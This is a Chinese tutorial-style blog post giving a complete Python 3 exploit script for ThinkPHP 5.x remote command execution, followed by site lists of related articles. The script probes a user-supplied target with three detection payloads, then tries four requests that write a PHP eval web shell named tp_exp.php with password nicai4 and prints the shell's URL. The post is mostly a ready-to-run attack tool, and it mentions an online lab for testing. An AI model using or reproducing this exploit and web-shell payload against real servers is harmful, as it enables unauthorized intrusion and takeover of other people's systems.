python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python实现多线程采集的2个代码例子
Jul 07 Python
python复制与引用用法分析
Apr 08 Python
Face++ API实现手势识别系统设计
Nov 21 Python
django Admin文档生成器使用详解
Jul 22 Python
Pytorch之finetune使用详解
Jan 18 Python
Python实现自动访问网页的例子
Feb 21 Python
基于python代码批量处理图片resize
Jun 04 Python
深入浅析pycharm中 Make available to all projects的含义
Sep 15 Python
一文带你了解Python 四种常见基础爬虫方法介绍
Dec 04 Python
matplotlib之多边形选区(PolygonSelector)的使用
Feb 24 Python
用Python将库打包发布到pypi
Apr 13 Python
使用pandas模块实现数据的标准化操作
May 14 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
第一个无线电台是由谁发明的
2021/03/01 无线电
PHP实现定时生成HTML网站首页实例代码
2008/11/20 PHP
PHP冒泡排序算法代码详细解读
2011/07/17 PHP
微信扫描二维码登录网站代码示例
2013/12/30 PHP
php操作MongoDB基础教程(连接、新增、修改、删除、查询)
2014/03/25 PHP
PHP实现生成数据字典功能示例
2018/05/24 PHP
通过ifame指向的页面高度调整iframe的高度
2006/10/05 Javascript
用JQuery 实现AJAX加载XML并解析的脚本
2009/07/25 Javascript
js实现全屏漂浮广告移入光标停止移动
2013/12/02 Javascript
兼容Firefox的Javascript XSLT 处理XML文件
2014/12/31 Javascript
浅谈JavaScript的事件
2015/02/27 Javascript
详细解读JavaScript编程中的Promise使用
2015/07/27 Javascript
日常收集整理的JavaScript常用函数方法
2015/12/10 Javascript
基于bootstrap插件实现autocomplete自动完成表单
2016/05/07 Javascript
简单实现jquery焦点图
2016/12/12 Javascript
Vue2.0权限树组件实现代码
2017/08/29 Javascript
angular 内存溢出的问题解决
2018/07/12 Javascript
jQuery 同时获取多个标签的指定内容并储存为数组
2018/11/20 jQuery
详解Node.js一行命令上传本地文件到服务器
2019/04/22 Javascript
微信小程序结合Storage实现搜索历史效果
2019/05/18 Javascript
[05:10]2014DOTA2国际邀请赛 通往胜利之匙赛场探秘之旅
2014/07/18 DOTA
Python-嵌套列表list的全面解析
2016/06/08 Python
python遍历 truple list dictionary的几种方法总结
2016/09/11 Python
python中利用队列asyncio.Queue进行通讯详解
2017/09/10 Python
使用python动态生成波形曲线的实现
2019/12/04 Python
Python 内置函数globals()和locals()对比详解
2019/12/23 Python
Python使用qrcode二维码库生成二维码方法详解
2020/02/17 Python
python requests.get带header
2020/05/05 Python
CSS3 实用技巧:实现黑白图像效果示例代码
2013/07/11 HTML / CSS
党的群众路线教育实践活动批评与自我批评
2014/02/16 职场文书
护林防火标语
2014/06/27 职场文书
搞笑老公保证书
2015/02/26 职场文书
求职简历自荐信怎么写
2015/03/26 职场文书
2015年青年志愿者协会工作总结
2015/04/27 职场文书
离职信范文
2015/06/23 职场文书
python爬虫之selenium库的安装及使用教程
2021/05/23 Python